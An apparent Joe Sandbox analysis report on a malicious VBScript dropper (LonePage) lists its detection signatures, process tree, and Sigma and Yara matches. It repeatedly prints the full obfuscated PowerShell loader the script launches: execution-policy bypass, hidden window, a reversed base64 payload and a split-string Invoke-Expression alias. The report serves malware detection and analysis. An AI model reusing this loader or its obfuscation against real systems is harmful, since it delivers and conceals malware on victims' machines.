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Windows Analysis Report
FJw9llPHsk.vbs

Overview

General Information

Sample name:	FJw9llPHsk.vbs renamed because original name is a hash value
Original sample name:	b1dd7ceb58b7c2cb1df3865eca0000b12a578da8af358d00635e6abd97c9a521.vbs
Analysis ID:	1542806
MD5:	8b72c16e1c15ba0296576e50815d1bbd
SHA1:	5c91e659eca6c982154bece71ec818f9f553948f
SHA256:	b1dd7ceb58b7c2cb1df3865eca0000b12a578da8af358d00635e6abd97c9a521
Tags:	blogview-shopvbsuser-JAMESWT_MHT
Infos:

Detection

LonePage

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

VBScript performs obfuscated calls to suspicious functions

Yara detected LonePage

AI detected suspicious sample

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7420 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7468 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: powershell.exe PID: 7468	JoeSecurity_LonePage	Yara detected LonePage	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs", ProcessId: 7420, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs", ProcessId: 7420, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.4% probability

Source:	Binary string: ws\dll\System.Core.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000001.00000002.2582012852.000001421DADD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\ows\ source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7a5c561934e089\System.pdbn source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000001.00000002.2582012852.000001421DA50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.Core.pdbvY source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000001.00000002.2606764864.0000014237DAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbpdbtem.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb~ source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000001.00000002.2606764864.0000014237DAB000.00000004.00000020.00020000.00000000.sdmp
